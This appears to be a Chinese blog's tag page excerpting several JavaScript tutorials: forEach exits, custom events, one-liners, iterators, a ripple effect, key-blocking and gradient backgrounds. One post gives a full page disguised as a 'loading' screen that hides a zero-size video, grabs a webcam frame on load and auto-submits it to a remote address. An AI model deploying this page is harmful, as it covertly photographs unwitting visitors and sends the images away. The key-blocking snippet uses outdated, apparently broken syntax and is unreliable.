首页
友链
壁纸
留言
今日热榜
更多
关于
时光
推荐
精品流量卡
Search
1
都二十多年了,你的梦为什么还没碎!
57,051 阅读
2
2022年5个好用的 BT/ 磁力链接下载工具推荐 |Windows 、安卓系统
37,156 阅读
3
nps内网穿透实现外网访问树莓派
32,369 阅读
4
实践利用宝塔建emlog个人博客-超详细【原创】
26,116 阅读
5
Typecho-Joe-Theme主题帮助文档
24,518 阅读
闲杂乱码
Python
网站源码
微信小程序
娱乐分享
Is相册
软件工具
登录
Search
标签搜索
PHP
HTML
API
Javascript
源码
JS
Vue
Github
CloudFlare
接口
函数
SQL
ASP.NET
MVC
EF
T4模板
后台管理
CDN
微信小程序
MAC
韩小韩
累计撰写
261
篇文章
累计收到
1,295
条评论
首页
栏目
闲杂乱码
Python
网站源码
微信小程序
娱乐分享
Is相册
软件工具
页面
友链
壁纸
留言
今日热榜
关于
时光
推荐
精品流量卡
搜索到
9
篇与
JS
的结果
2023-08-11
变相跳出forEach循环
{callout color="#ef4d93"}众所周知,forEach循环是无法中途跳出循环的,有点同学说不是可以通过抛出错误跳出循环吗?是的。抛出异常是广为流传的一种方法,结果是我们想要,但是你看代码,哪个正常人会这样写代码?是非forEach不用吗?还是其他的循环关键字不配呢。{/callout}forEach抛出异常跳出循环const list = [1, 2, 3, 4, 5, "a", "b", "c", "d", "e"]; try { list.forEach((itm) => { if (itm === "c") { throw new Error("exit"); } console.log(itm); }); } catch (e) { // console.log(e); }splice变相跳出循环const list = [1, 2, 3, 4, 5, "a", "b", "c", "d", "e"]; Object.assign(list).forEach((itm, idx, arr) => { if (itm == "c") { arr.splice(idx, arr.length - idx); } console.log(itm); });
2023年08月11日
8,173 阅读
0 评论
2 点赞
2022-10-04
DOM同级传递事件
{callout color="#f0ad4e"}大家到现在所了解到的事件,基本都离不开浏览器的行为。比如点击鼠标、按下键盘等等,这些都可以被浏览器感知到,进而帮助我们转换成一个“信号”触发对应处理函数。但是还有一些行为,是浏览器感知不到的。比如说看这样一段 html{/callout}<div class="a"></div> <div class="b"></div> <div class="c"></div>如果我们仅仅想监听 a 这个元素上的点击行为,我们可以用 addEventListener 来安装监听函数var a = document.getElementById('a') document.addEventListener('click',function(){ console.log('a') })但是,如果现在想实现这样一种效果在点击A之后,B 和 C 都能感知到 A 被点击了,并且做出相应的行为——就像这个点击事件是点在 B 和 C 上一样。我们知道,借助时间捕获和冒泡的特性,我们是可以实现父子元素之间的行为联动的。但是此处,A、B、C三者位于同一层级,他们怎么相互感知对方身上发生了什么事情呢?“A被点击了”这件事情,可以作为一个事件来派发出去,由 B 和 C 来监听这个事件,并执行各自身上安装的对应的处理函数。在这个思路里,“A被点击了”这个动作挺特别,特别就特别在浏览器不认识它。因为浏览器不认识它,所以浏览器不肯”帮忙“,不会帮咱去感知和派发这个动作。不过没关系,感知和派发,咱都可以自己来实现首先大家需要了解的是,自定义事件的创建。比如说咱们要创建一个本来不存在的"clickA"事件,来表示 A 被点击了,可以这么写<div class="a"></div> <div class="b"></div> <div class="c"></div> <script> /* 获取元素 */ const a = document.querySelector(".a") const b = document.querySelector(".b") const c = document.querySelector(".c") /* 创建一个自定义事件 */ const aEvent = new Event("sb250") a.addEventListener("click", function (e) { console.log('a'); /* 派发给b和c */ b.dispatchEvent(aEvent) c.dispatchEvent(aEvent) }) /* b监听 */ b.addEventListener("sb250", function (e) { console.log('b') }) c.addEventListener("sb250", function (e) { console.log('c') }) </script>{callout color="#8e4def"}可以看到,浏览器控制台能正确的打印 a b c,因此实现了对a点击事件的监听{/callout}
2022年10月04日
427 阅读
0 评论
0 点赞
2022-09-01
最实用的JavaScript一行代码
{message type="info" content="前些年的段子里,总有一些主考官的思想格局打不开,抛出这样的问题:让我在10秒钟内记住你。于是就有了,被打耳光的,被亲的,被扒衣服的,摔手机的······但作为程序员,要怎么用代码震惊的别人呢?Talk is cheap, show me the code!很简单:用简单的逻辑和尽可能少的代码行来解决一个复杂的问题。随着 ES6 箭头函数的引入,可以创建看起来优雅而简单的单行代码。在今天的文章中,我将与你一起来学习 11 个罕见但功能强大的单行代码。现在,准备好,让我们开始吧!"/}文字复制到剪贴板const copyText = async (text) => await navigator.clipboard.writeText(text) copyText('单行代码 前端世界'){callout color="#f0ad4e"}Clipboard API 它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。{/callout}获取字符串中的字符数const characterCount = (str, char) => str.split(char).length - 1{callout color="#f0ad4e"}获取字符数是一个有用的实用程序,在许多情况下都很有用,我们可以使用它来获取空格数和随后的单词数,或者这可用于获取字符串中某个分隔符的计数。这个想法很简单,我们使用传递的参数 char 拆分字符串并获取返回数组的长度。由于每次将字符串拆分,都会比拆分器多一个;所以减去 1,我们有一个 characterCount 单行。{/callout}检查对象是否为空const isEmpty = obj => Reflect.ownKeys(obj).length === 0 && obj.constructor === Object{callout color="#f0ad4e"}检查对象的空性实际上比看起来要困难得多,即使对象为空,每次检查对象是否等于 {} 也会返回 false。幸运的是,下面的单行代码正是我们想要的。在这一行中,我们检查对象的键长度是否等于 0,以及传递的参数是否为实际对象。{/callout}等待一段时间再执行const wait = async (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds));{callout color="#f0ad4e"}在这一行中,我们将通过一些异步编程来弄脏我们的代码。这个想法很简单,在运行代码时,如果你想等待一定的时间,这里是等待单行在等待单行中,我们创建一个承诺并在给定的时间后使用 setTimeout 函数解决它。{/callout}获取两个日期之间的日差const daysBetween = (date1, date2) => Math.ceil(Math.abs(date1 - date2) / (1000 * 60 * 60 * 24)){callout color="#f0ad4e"}在开发 Web 应用程序时,日期通常是实现起来最令人困惑的部分,因为有许多概念很容易被误算。这是一个强大的单线计算两个日期之间的天差。但还有更多事情要做,正如我所做的那样,你可以创建自己的单线来计算月、年差异等。这种单线背后的逻辑很容易理解。当两个日期相减时,返回值是以毫秒为单位的差值,要将毫秒转换为天,我们必须将其除以毫秒、秒、分钟和小时。{/callout}检查设备上的触摸支持const touchSupported = () => ('ontouchstart' in window || DocumentTouch && document instanceof DocumentTouch){callout color="#f0ad4e"}随着可以连接到互联网的设备越来越多,创建响应式网站的必要性也在增加。20 年前,开发者应该考虑网站的桌面版本,但今天超过 50% 的网络流量来自触摸移动设备。因此,基于设备的触控支持采取一些行动是一个非常重要的概念。在这一行中,我们正在检查文档是否支持 touchstart 事件。{/callout}在元素后插入 HTML 字符串const insertHTMLAfter = (html, el) => el.insertAdjacentHTML('afterend', html){callout color="#f0ad4e"}开发 Web 应用程序时,使用 JavaScript 更新 DOM 是一件很常见的事情。有一些基本的方法可以完成工作,但是,当情况变得复杂时,就很难克服。这是一个在 HTML 元素之后立即注入 HTML 字符串的单行代码。经过几分钟的思考和谷歌搜索,我相信你可以找到这个单线的以前版本。{/callout}随机排列数组const shuffle = arr => arr.sort(() => 0.5 - Math.random()){callout color="#f0ad4e"}在开发中打乱一组数据是一个常见的情况,你可以随时遇到,不幸的是,JavaScript 中没有内置数组的 shuffle 方法。但是,这里有一个你可以每天使用的 shuffle one-liner它利用数组的排序方法,在数组的前一个元素之前或之后随机排序。{/callout}获取随机布尔值const getRandomBoolean = () => Math.random() >= 0.5{callout color="#f0ad4e"}在开发时,尤其是在写游戏代码时,有时,我们会想随机采取行动。在这些情况下,下面的单行代码非常方便。上面的单行代码有 50/50 的机会返回真或假。因为生成的随机数大于0.5的概率等于变小的概率。然而,例如,如果你想得到一个概率为 70% 的随机布尔值,那么你可以简单地将 0.5 更改为 0.7 等等。{/callout}计算数组的平均值const average = (arr) => arr.reduce((a, b) => a + b) / arr.length{callout color="#f0ad4e"}可以使用多种方法计算数组的平均值。但逻辑对所有人都是一样的,我们必须得到数组及其长度的总和;然后,通过除法给出平均值。在平均单行中,我们使用 reduce 来获取一行中数组的总和,而不是使用循环。然后,我们将它除以数组长度,这是一个数组的平均值。{/callout}查询某天是否为工作日const isWeekday = (date) => date.getDay() % 6 !== 0; isWeekday(new Date(2023, 02, 01)) // true{callout color="#f0ad4e"}我们自己写日历组件时经常会用到,判断某个日期是否为工作日;周一至周五为工作日:{/callout}转换华氏/摄氏// 将华氏温度转换为摄氏温度 const fahrenheitToCelsius = (fahrenheit) => (fahrenheit - 32) * 5/9; fahrenheitToCelsius(50); // 10 // 将摄氏温度转华氏温度 const celsiusToFahrenheit = (celsius) => celsius * 9/5 + 32; celsiusToFahrenheit(100) // 212{callout color="#f0ad4e"}处理温度有时会晕头转向。这两个函数则能帮助大家将华氏温度转换为摄氏温度,以及将摄氏温度转换为华氏温度。{/callout}每隔4个空1格美团卷码[..."088896520132"].reduce((res, itm, idx) => (res += idx % 4 === 1 ? `${itm} `: itm),''); // 08 8896 5201 32检查当前选项卡是否在后台const isTabActive = () => !document.hidden; isTabActive() // true|false检查设备类型const judgeDeviceType = () => /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|OperaMini/i.test(navigator.userAgent) ? 'Mobile' : 'PC'; judgeDeviceType() // PC | Mobile{message type="info" content="END"/}
2022年09月01日
1,735 阅读
6 评论
5 点赞
2021-07-17
Javascript迭代器
{message type="info" content="我们都知道可以用 for...of... 来循环可迭代对象,例如循环"/}Array Arguments Map Set String TypedArray NodeList迭代器的工作原理创建一个指针,指向当前数据结构的起始位置第一次调用对象next方法,指针自动指向数据结构的第一个成员接下来不断调用next,指针一直往后移动,直到指向最后一个成员每调用一次next方法返回一个包含value和done属性的对象为什么Object不可以被迭代let arr = [1, 2, 3] let obj = { a: 1, b: 2, c: 3 } for(let val of arr) { console.log(val) } for(let val of obj) { console.log(val) }接着运行上面的代码,会出现以下报错信息: {callout color="#4d75ef"}可以看到,数组正常循环没有问题,但是到了obj,会报:obj is not iterable(obj不是一个可迭代对象、obj不可被迭代)这是为什么呢?将arr和obj分别使用 console.dir() 进行打印查看{/callout}{callout color="#ef4d7e"}可以看到,arr的原型上挂载着一个 Symbol[Symbol.iterator],而obj的原型上并没有这个属性,因此这就是为什么obj不可以被迭代的原因但是如果非得让obj也成为一个 可迭代对象,如何去实现呢?此时就需要给obj身上加上一个迭代器{/callout}let obj = { a: 1, b: 2, c: 3, [Symbol.iterator]: function () { let values = Object.values(obj) let index = 0 /* 必须得return 一个对象出去 */ return { /* 这是固定写法 */ next() { if (index >= values.length) { return { done: true // 此时迭代结束,就不需要再return value出去 } } else { return { value: values[index++], done: false } } } } } } for (let item of obj) { console.log(item) }{callout color="#f0ad4e"}运行上方的代码,此时obj已经可以使用 for...of... 进行循环,并且此时的obj已经是一个可迭代对象{/callout}迭代器利用for of 自定义遍历数据let obj = { a: 1, b: 2, c: [ '小韩', '小徐', '小悦' ], [Symbol.iterator]: function () { let idx = 0; const _c = this.c return { next() { return idx < _c.length ? { value: _c[idx++], done: false } : { value: undefined, done: true } } } } } let values = obj[Symbol.iterator]() console.log(values) // 得到迭代器对象,里面含有next方法 console.log(values.next()) // done:false(表示可以继续迭代),并且value为 小韩 console.log(values.next()) // done:false(表示可以继续迭代),并且value为 小徐 console.log(values.next()) // done:false(表示可以继续迭代),并且value为 小悦 console.log(values.next()) // done:true(表示迭代结束)总结{callout color="#964def"}迭代协议:规定迭代与实现的逻辑(也就是上面迭代器里的逻辑)迭代器:具体的迭代实现逻辑(也就是上面的迭代器函数)迭代对象:可被迭代的对象,已经实现[Symbol.iterator]方法的对象(就是上面加了迭代器后的obj){/callout}
2021年07月17日
963 阅读
0 评论
3 点赞
2021-05-27
鼠标点击波纹特效 html+css+js
定义标签 <div class="card"> <img src="3.3.png" alt="x" width="100%"> <h3>北极光之夜</h3> <p > 生活下去,错误下去,堕落下去,为胜利而欢呼,从生命中重新创造生命! </p> </div>卡片和文字的基本样式 .card{ width: 200px; height: 300px; box-shadow: 1px 1px 5px #555; cursor: pointer; background-color: rgb(243, 243, 243); position: relative; overflow: hidden; } .card h3,.card p{ padding: 5px; text-align: center; font-family: 'fangsong'; font-weight: bold; user-select: none; }{callout color="#f0ad4e"}cursor: pointer; 鼠标样式为小手。overflow: hidden; 子元素大小超出卡片区域的被隐藏。user-select: none; 文本不可选中。{/callout}js部分,见注释 <script> /* 获取元素 */ var card = document.querySelector('.card'); /* 绑定点击事件 */ card.addEventListener('click',function(e){ /* 获取鼠标点击的水平位置 */ let x = e.clientX - this.offsetLeft; /* 获取鼠标点击的垂直位置 */ let y = e.clientY - this.offsetTop; /* 创建一个span元素 */ let circle = document.createElement('span'); /* 为span元素添加定位的 left 属性 */ circle.style.left = x + 'px'; /* 为span元素添加定位的 top 属性 */ circle.style.top = y + 'px'; /* 卡片添加创建好的span元素 */ card.appendChild(circle); /* 1s后移除span元素 */ setInterval(function(){ circle.remove(); },1000) }) </script>添加上一步创建的 span 元素的css样式 .card span{ position: absolute; transform: translate(-50%,-50%); background-color: rgb(255, 254, 254); border-radius: 50%; animation: big 1s ; } @keyframes big{ 0%{ width: 0px; height: 0px; opacity: 1; } 100%{ width: 400px; height: 400px; opacity: 0; } }{callout color="#f0ad4e"}position: absolute; 绝对定位。transform: translate(-50%,-50%); 向左和上移动自身宽度和高度的一半。animation: big 1s; 定义动画,刚好1s完成动画 。opacity: 1; 不透明。opacity: 0; 透明。{/callout}完整源码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <style> *{ margin: 0; padding: 0; box-sizing: border-box; } body{ height: 100vh; display: flex; justify-content: center; align-items: center; background-image: radial-gradient(white,black); } .card{ width: 200px; height: 300px; box-shadow: 1px 1px 5px #555; cursor: pointer; background-color: rgb(243, 243, 243); position: relative; overflow: hidden; } .card h3,.card p{ padding: 5px; text-align: center; font-family: 'fangsong'; font-weight: bold; user-select: none; } .card span{ position: absolute; transform: translate(-50%,-50%); background-color: rgb(255, 254, 254); border-radius: 50%; animation: big 1s ; } @keyframes big{ 0%{ width: 0px; height: 0px; opacity: 1; } 100%{ width: 400px; height: 400px; opacity: 0; } } </style> </head> <body> <div class="card"> <img src="3.3.png" alt="x" width="100%"> <h3>北极光之夜</h3> <p > 生活下去,错误下去,堕落下去,为胜利而欢呼,从生命中重新创造生命! </p> </div> <script> var card = document.querySelector('.card'); card.addEventListener('click',function(e){ let x = e.clientX - this.offsetLeft; let y = e.clientY - this.offsetTop; let circle = document.createElement('span'); circle.style.left = x + 'px'; circle.style.top = y + 'px'; card.appendChild(circle); setInterval(function(){ circle.remove(); },1000) }) </script> </body> </html>{callout color="#f0ad4e"}转自ㅤㅤㅤ超简单的鼠标点击波纹特效 html+css+js - 掘金ㅤㅤㅤ作者:北极光之夜ㅤㅤㅤ地址:https://juejin.cn/post/6966634855656325156{/callout}
2021年05月27日
1,683 阅读
0 评论
2 点赞
2021-04-28
H5中JS调用摄像头截图拍照并发送
H5中JS调用摄像头截图拍照并发送<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>loding...</title> <style> body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1} </style> </head> <body> <video id="video" width="0" height="0" autoplay></video> <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas> <form action="截图好并发送的地址" id="gopo" method="post"> <input type="hidden" name="img" id="result" value="" /> <input type='hidden' name='mod' value='up'/> </form> </body> <script> window.addEventListener("DOMContentLoaded", function() { var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) { video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); document.getElementById('result').value = img; document.getElementById('gopo').submit(); },1300); },function(){ window.location.href = 'http://baidu.com'; }); } }, false); </script> </html>
2021年04月28日
1,368 阅读
2 评论
3 点赞
2019-07-29
网页用JS屏蔽各种按键代码
网页屏蔽鼠标右键Ctrl+N、Shift+F10、F11、F5刷新、退格键等按键<script> //屏蔽鼠标右键Ctrl+N、Shift+F10、F11、F5刷新、退格键 function document.oncontextmenu(){ event.returnValue = false; } //屏蔽鼠标右键 function window.onhelp(){ return false } //屏蔽F1帮助 function document.onkeydown(){ if ((window.event.altKey) && ((window.event.keyCode == 37) || //屏蔽Alt+方向键← (window.event.keyCode == 39))) { //屏蔽Alt+方向键→ alert("不准你使用ALT+方向键前进或后退网页!"); event.returnValue = false; } if ((event.keyCode == 8) || //屏蔽退格删除键 (event.keyCode == 116) || //屏蔽F5刷新键 (event.ctrlKey && event.keyCode == 82)) { //Ctrl+R event.keyCode = 0; event.returnValue = false; } if (event.keyCode == 122) { event.keyCode = 0; event.returnValue = false; } //屏蔽F11 if (event.ctrlKey && event.keyCode == 78) event.returnValue = false; //屏蔽Ctrl+n if (event.shiftKey && event.keyCode == 121) event.returnValue = false; //屏蔽shift+F10 if (window.event.srcElement.tagName == "A" && window.event.shiftKey) window.event.returnValue = false; //屏蔽shift加鼠标左键新开一网页 if ((window.event.altKey) && (window.event.keyCode == 115))} //屏蔽Alt+F4 window.showModelessDialog("about:blank", "", "dialogWidth:1px;dialogheight:1px"); return false; }} </script>
2019年07月29日
1,830 阅读
0 评论
1 点赞
2019-03-26
JS实现HTML动态渐变纯色背景+CSS动态渐变字
CSS代码:<style> #ishanColor { animation: change 10s infinite; } @keyframes change { 0% { color: #66e616; } 25% { color: #556bd8; } 50% { color: #e40707; } 75% { color: #5cb85c; } 100% { color: #e7e97d; } } </style>JS实现HTML动态渐变纯色背景效果图:JS代码:<script> $(function () { var sec = 5; var sz = new Array('rgba(255,20,147,0.6)', 'rgba(152,251,152,0.6)', 'rgba(135,206,250)', 'rgba(0,255,255,0.6)', 'rgba(255,165,0,0.6)', 'rgba(186,85,211,0.6)'); timestar = setInterval(function () { if (sec >= 0) { document.body.style.background = sz[sec]; sec--; } else { sec = 5; } }, 1000); }) </script>CSS代码:body{ color: black background:white; transition: 3s; }
2019年03月26日
2,602 阅读
0 评论
0 点赞
1
2